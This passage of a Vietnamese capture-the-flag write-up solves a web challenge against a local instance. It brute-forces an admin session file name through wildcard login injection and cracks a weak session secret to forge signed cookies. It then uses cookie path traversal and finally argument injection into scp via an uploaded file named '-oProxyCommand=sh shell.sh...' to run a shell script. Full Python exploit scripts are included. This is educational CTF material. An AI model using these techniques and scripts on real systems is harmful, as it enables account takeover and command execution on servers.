đó có cụm từ **something** trước tên file không hề tồn tại. ![image](https://hackmd.io/_uploads/SJXEY0HS1e.png) ![image](https://hackmd.io/_uploads/B1pUt0rByl.png) Vì vậy ta có thể dùng blind command injection để bruteforce ra file session của admin trong /tmp/sessions ```python= import requests s = requests.Session() # login và trả về true nếu server trả về status code 302 def login(username, password=""): r = s.post(url+"/login",data={"username": username, "password": password},allow_redirects=False) return r.status_code == 302 # bruteforce file session admin def brute_force_session_id(): global session for i in range(32): for c in string.ascii_letters + string.digits + "_-": if login(f"/tmp/sessions/{session}{c}*.json"): session += c print(session) break signed_value = sign(session, secret_key) ``` Sau khi tạo được một token, mình sẽ lấy token đó và dùng để đăng nhập. ![image](https://hackmd.io/_uploads/SkDJpASrkl.png) ![image](https://hackmd.io/_uploads/B1Pwa0Brkx.png) Sau khi mình login được vào admin, mình đã có thể mở khóa những chức năng khác như upload, delete, backup và restore. Tuy nhiên ta sẽ chỉ chú ý tới restore. Có thể thấy khi mình upload, filename sẽ bị hàm sanitize lọc và không thể path traversal. Tuy nhiên, ở hàm restore, ta thấy rằng ở lệnh scp trong linux, có một express gọi là -o có thể dùng như một lệnh ssh và sử dụng các ssh_config. Và ở đây mình thấy một đường link áp dụng [argument injection](https://sonarsource.github.io/argument-injection-vectors/binaries/ssh/) cho ssh. Vậy mình sẽ cố gắng gán câu lệnh thành scp '-oProxyCommand=sh shell.sh @backup:backup.tar.gz' 'a@backup:backup.tar.gz' để nó có thể thực thi file shell chứa đoạn code gọi /readflag. Để có thể làm được điều đó, mình thấy rằng mình có thể gán username thành *, lúc này tất cả file sẽ match vào câu lệnh scp, tạo thành một câu lệnh hoàn chỉnh. Mình thấy rằng cookie không hề bị sanitize path traversal, mặc dù nó trỏ tới file session. Vì vậy mình sẽ gán một session token chứa data ../files/admin, sau đó upload file session chứa username * lên. Lúc này file session đã nằm trong /files/admin, mình đăng xuất và gán token vào, sau đó đăng nhập vào user *. Vì window khó tạo các file có các kí tự đặc biệt, nên mình sẽ viết code python để upload file. ```python= import requests import json url = "http://localhost:8000/" session = "" fake_session = { "cookie": { "originalMaxAge": 9999999999997, "expires": "2341-10-09T09:09:12.936Z", "httpOnly": "true", "path": "/" }, "username": "*", "flash": [ "Successfully logged in!" ], "__lastAccess": 1731943352940 } # tạo directory files cho user admin s.get(url+"/files") # gửi file session giả chứa user * res = s.post(url+"/upload",files={'file':('fake_session.json',json.dumps(fake_session))}) # tạo cookie giả path traversal tới /files/admin.fake_session.json để đăng nhập user * cookie = sign("../files/admin/fake_session", secret_key) cookie = "s:"+cookie print("This is your fake session token: "+cookie) s.cookies.clear() s.cookies.set('connect.sid', cookie) # tạo directory files cho user * s.get(url + '/files') # upload các file nhằm gây lỗi argument injection theo format scp -oProxyCommand=sh shell.sh a@backup:backup.tar.gz s.post(url + '/upload',files={'file': ('shell.sh', 'echo $(/readflag) > long.txt')}) s.post(url + '/upload',files={'file': ('-oProxyCommand=sh shell.sh@backup:backup.tar.gz','')}) s.post(url + '/upload',files={'file': ('a@backup:backup.tar.gz','')}) # trigger lỗi argument injection s.post(url+"/restore") # đọc file flag res = s.get(url+"/file/long.txt") print(res.text) ``` ![image](https://hackmd.io/_uploads/Hkox5y8S1x.png) Đây là toàn bộ code python mình dùng để exploit. <details> <summary>exploit.py</summary> ```python= import requests from urllib.parse import unquote from base64 import b64decode, b64encode from hashlib import sha256 import hmac import string import json url = "http://localhost:8000/" s = requests.Session() session = "" # login và trả về true nếu server trả về status code 302 def login(username, password=""): r = s.post(url+"/login",data={"username": username, "password": password},allow_redirects=False) return r.status_code == 302 # bruteforce file session admin def brute_force_session_id(): global session for i in range(32): for c in string.ascii_letters + string.digits + "_-": if login(f"/tmp/sessions/{session}{c}*.json"): session += c print(session) break # sign node session def sign(val, secret): hmac_digest = hmac.new(secret.encode(), val.encode(), sha256).digest() signature = b64encode(hmac_digest).decode().rstrip("=") return f"{val}.{signature}" # bruteforce secret key trong khoảng từ 0 tới 32768 def brute_force_key(session_id, expected_signature): for key in range(32768): secret_key = str(key) signed_value = sign(session_id, secret_key) _, generated_signature = signed_value.rsplit('.', 1) if generated_signature == expected_signature: return secret_key return None # bruteforce session id brute_force_session_id() print("Successfully bruteforce the session file!") print("Found session: "+session) cookie = s.cookies['connect.sid'] # bruteforce secret key # lấy cookie và chia ra tên file session và signature cookie = unquote(cookie).lstrip("s:") session_id, expected_signature = cookie.split(".", 1) secret_key = brute_force_key(session_id, expected_signature) print("Successfully cracked the secret key!") print("Found secret key: "+secret_key) # tạo session và đăng nhập vào admin signed_value = sign(session, secret_key) s.cookies.clear() s.cookies.set('connect.sid', "s:"+signed_value) print("This is your admin token: s:"+signed_value) fake_session = { "cookie": { "originalMaxAge": 9999999999997, "expires": "2341-10-09T09:09:12.936Z", "httpOnly": "true", "path": "/" }, "username": "*", "flash": [ "Successfully logged in!" ], "__lastAccess": 1731943352940 } # tạo directory files cho user admin s.get(url+"/files") # gửi file session giả chứa user * res = s.post(url+"/upload",files={'file':('fake_session.json',json.dumps(fake_session))}) # tạo cookie giả path traversal tới /files/admin/fake_session.json để đăng nhập user * cookie = sign("../files/admin/fake_session", secret_key) cookie = "s:"+cookie print("This is your fake session token: "+cookie) s.cookies.clear() s.cookies.set('connect.sid', cookie) # tạo directory files cho user * s.get(url + '/files') # upload các file nhằm gây lỗi argument injection theo format scp -oProxyCommand=sh shell.sh a@backup:backup.tar.gz s.post(url + '/upload',files={'file': ('shell.sh', 'echo $(/readflag) > long.txt')}) s.post(url + '/upload',files={'file': ('-oProxyCommand=sh shell.sh@backup:backup.tar.gz','')}) s.post(url + '/upload',files={'file': ('a@backup:backup.tar.gz','')}) # trigger lỗi argument injection s.post(url+"/restore") # đọc file flag res = s.get(url+"/file/long.txt") print(res.text) ``` </details> > Flag: CTF{f4k3_fl4g_f0r_t3st1ng}